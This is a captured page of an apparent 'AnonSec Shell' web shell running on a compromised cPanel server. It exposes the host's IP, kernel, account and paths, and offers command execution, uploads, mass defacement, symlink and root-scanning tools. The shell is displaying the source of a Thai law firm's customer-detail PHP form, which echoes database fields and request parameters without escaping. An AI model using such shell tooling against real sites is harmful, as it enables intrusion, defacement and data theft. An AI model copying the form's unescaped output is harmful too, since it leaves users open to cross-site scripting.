AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/ilawasia.onnud20.com/Customer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/ilawasia.onnud20.com/Customer/form.php
<?php
$PageSize = 10;
$PageNumber = 1;
if(isset($_GET['PageNumber'])){$PageNumber = $_GET['PageNumber'];}

$setData = array(
  'CustomerName' => @$_GET['CustomerName'],
  'CustomerId' => @$_GET['Id']
);
$setData3 = array(
  'CustomerId' => @$_REQUEST['Id'],
  'PageNumber' => @$PageNumber,
  'page' => @$_REQUEST['page'],
  'OrderBy' => @$_REQUEST['OrderBy'],
  'OrderDirection' => @$_REQUEST['OrderDirection'],
  'PageSize' => @$PageSize,
);
$data = $customer_db->LoadCustomerDetailAll(@$_GET['Id']);
$data2 = $customer_db->LoadCustomerDetail(@$_GET['Id']);
$data3 = $customer_db->LoadRelatedCase(@$setData3);
$data4 = $customer_db->LoadTech();
$data5 = $customer_db->LoadTechmap(@$_GET['Id']);

 ?>
<div class="card mb-4">
    <div class="card-header">
        ระบุข้อมูล
    </div>
    <div class="card-body">
        <div class="form-group row">
            <label for="" class="col-sm-2 col-form-label">Name<sup class="text-danger">*</sup></label>
            <div class="col-sm-6">
                <input type="text" value="<?php echo @$data[0]['NamesName']; ?>" class="form-control" name="NamesName"
                    maxlength="255" />
            </div>

        </div>
        <div class="form-group row">
            <div class="col-sm-2">
                <label for="" class="col-form-label">Telephone.</label>
            </div>
            <div class="col-sm-6">
                <input class="form-control" value="<?php echo @$data[0]['Telephone']; ?>" name="Telephone"
                    maxlength="50" />

            </div>
        </div>
        <div class="form-group row">
            <div class="col-sm-2">
                <label for="" class="col-form-label">Postal Address</label>
            </div>
            <div class="col-sm-6">
                <textarea rows="3" class="form-control"
                    name="PostalAddress"><?php echo @$data[0]['PostalAddress']; ?></textarea>
            </div>
        </div>
        <div class="form-group row">
            <div class="col-sm-2">
                <label for="" class="col-form-label">Fax</label>
            </div>
            <div class="col-sm-6">
                <input class="form-control" name="Fax" value="<?php echo @$data[0]['Fax']; ?>" maxlength="50" />
            </div>
        </div>
        <div class="form-group row">
            <div class="col-sm-2">
                <label for="" class="col-form-label">Electronic Mail</label>
            </div>
            <div class="col-sm-6">
                <input class="form-control" name="ElectronicMail" value="<?php echo @$data[0]['ElectronicMail']; ?>"
                    maxlength="255" />

            </div>
        </div>
        <div class="form-group row">
            <div class="col-sm-2">
                <label for="" class="col-form-label">Tax ID.</label>
            </div>
            <div class="col-sm-6">
                <input class="form-control" name="TaxID" value="<?php echo @$data[0]['TaxID']; ?>" maxlength="50" />

            </div>
        </div>
        <div class="form-group row">
            <div class="col-sm-2">
                <label for="" class="col-form-label">Industry</label>
            </div>
            <div class="col-sm-6">
                <div class="row">
                    <?php 
                    $d = 1; 
                    foreach ($data4['Data'] as $key => $value) { ?>
                    <?php
                        $searchId = $value['Id'];
                        $result = array_filter($data5["Data"], function ($item) use ($searchId) {
                            return isset($item["IndustryId"]) && $item["IndustryId"] == $searchId;
                        });
                        $foundItem = array_values($result)[0];
                        ?>
                    <div class="col-12">
                        <div class="form-check">
                            <input class="form-check-input" type="checkbox" value="<?php echo $value['Id'] ?>"
                                id="ct_n<?php echo $d;?>" name="ct_n[]"
                                <?php echo ($foundItem["StatusActive"] == 1)?"checked":"" ?>>
                            <label class="form-check-label" for="ct_n<?php echo $d;?>">
                                <?php echo $value['Name']; ?>
                                <?php if($value['Id']==17){ ?>
                                <input type="text" class="form-control" name="ct_mark"
                                    value="<?=$data5["Data"][$key]['Remark']?>">
                                <?php } ?>
                            </label>

                        </div>

                    </div>

                    <?php $d++; } ?>

                </div>


            </div>
        </div>
        <div class="form-group row">
            <div class="col-sm-2">
                <label for="" class="col-form-label">Initial</label>
            </div>
            <div class="col-sm-6">
                <input class="form-control" name="Initial" value="<?php echo @$data[0]['Initial']; ?>" maxlength="10" />
            </div>
        </div>
        <div class="form-group row">
            <div class="col-sm-2">
                <label for="" class="col-form-label">Remark</label>
            </div>
            <div class="col-sm-6">
                <textarea rows="3" class="form-control" name="Remark"><?php echo @$data[0]['Remark']; ?></textarea>
            </div>
        </div>

        <?php if(@$_GET['Type']=="Edit"){ ?>
        <input type="hidden" name="NamesId" value="<?php echo isset($_GET['Id']) ? htmlspecialchars($_GET['Id']) : ''; ?>">
        <!--<input type="hidden" name="NamesId" value="<?php echo @$_GET['Id']; ?>">-->
        <nav>
            <div class="nav nav-tabs" id="nav-tab" role="tablist">
                <a class="nav-item nav-link active" id="nav-home-tab" data-toggle="tab" href="#nav-home" role="tab"
                    aria-controls="nav-home" aria-selected="true">Related Case</a>
                <a class="nav-item nav-link" id="nav-counter-tab" data-toggle="tab" href="#nav-counter" role="tab"
                    aria-controls="nav-counter" aria-selected="true">Counter Party</a>
            </div>
        </nav>
        <div class="tab-content" id="nav-tabContent">
            <div class="tab-pane fade show active" id="nav-home" role="tabpanel" aria-labelledby="nav-home-tab">
                <div id="related_pagination" style="position:relative;">
                    <div class="table-loader text-center" style="display:none;">
                        <div class="overlay">
                            <i class="fas fa-3x fa-spinner fa-pulse"></i>
                        </div>
                    </div>
                    <table class="table table-hover table-bordered ">
                        <thead>
                            <tr>
                                <th>Case No.</th>
                                <th>Due Date</th>
                                <th>Case Type</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($data3 as $key => $value) { ?>
                            <tr>
                                <td><?php echo $value['CaseNumber']; ?></td>
                                <td><?php echo $value['DueDate']; ?></td>
                                <td><?php echo $value['CaseType']; ?></td>
                            </tr>
                            <?php } ?>
                        </tbody>
                    </table>
                    <br /><br />
                    <div class="supplierPager">
                        <div class="row">
                            <div class="col-md-6">
                                <input type="hidden" class="page" value="1" />
                                <input type="hidden" class="page-size" value="10" />
                                <input type="hidden" class="numrows" value="0" />
                                <input type="hidden" class="orderBy" value="" />
                                <input type="hidden" class="orderDirection" value="" />
                                <input type="hidden" class="params" value="" />
                                แสดงรายการ <span class="start-record"></span> ถึง <span class="end-record"></span>
                                จากทั้งหมด <span class="total-record"></span> รายการ
                            </div>
                            <div class="col-md-6 text-right pagination-zone">

                            </div>
                        </div>
                    </div>
                </div>
            </div>

            <div class="tab-pane fade" id="nav-counter" role="tabpanel" aria-labelledby="nav-counter-tab">
                
                <p>
                    <a class="btn btn-danger" href="#" data-toggle="modal" data-target="#counterModal">
                        <i class="fas fa-plus-square"></i> เพิ่ม
                    </a>
                </p>
                <div class="table-loader text-center" style="display:none;">
                    <div class="overlay">
                        <i class="fas fa-3x fa-spinner fa-pulse"></i>
                    </div>
                </div>
                <table class="table table-hover table-bordered" id="tb-counter">
                    <thead>
                        <tr>
                            <th>No.</th>
                            <th>Name</th>
                            <th>Tax ID</th>
                            <th>Address</th>
                            <th>Createtime [By]</th>
                            <th>Updatetime [By]</th>
                            <th>Action</th>
                        </tr> 
                    </thead>
                    <tbody>
                    </tbody>
                </table>
            </div>
        </div>
        <?php } ?>

        <br /><br />
        <button class="btn btn-primary btn-icon-split">
            <span class="icon text-white-50">
                <i class="far fa-save"></i>
            </span>
            <span class="text">Save</span>
        </button>
        <a href="index.php" class="btn btn-secondary btn-icon-split">
            <span class="icon text-white-50">
                <i class="fas fa-arrow-left"></i>
            </span>
            <span class="text">Back</span>
        </a>
    </div>
</div>

Anon7 - 2022
AnonSec Team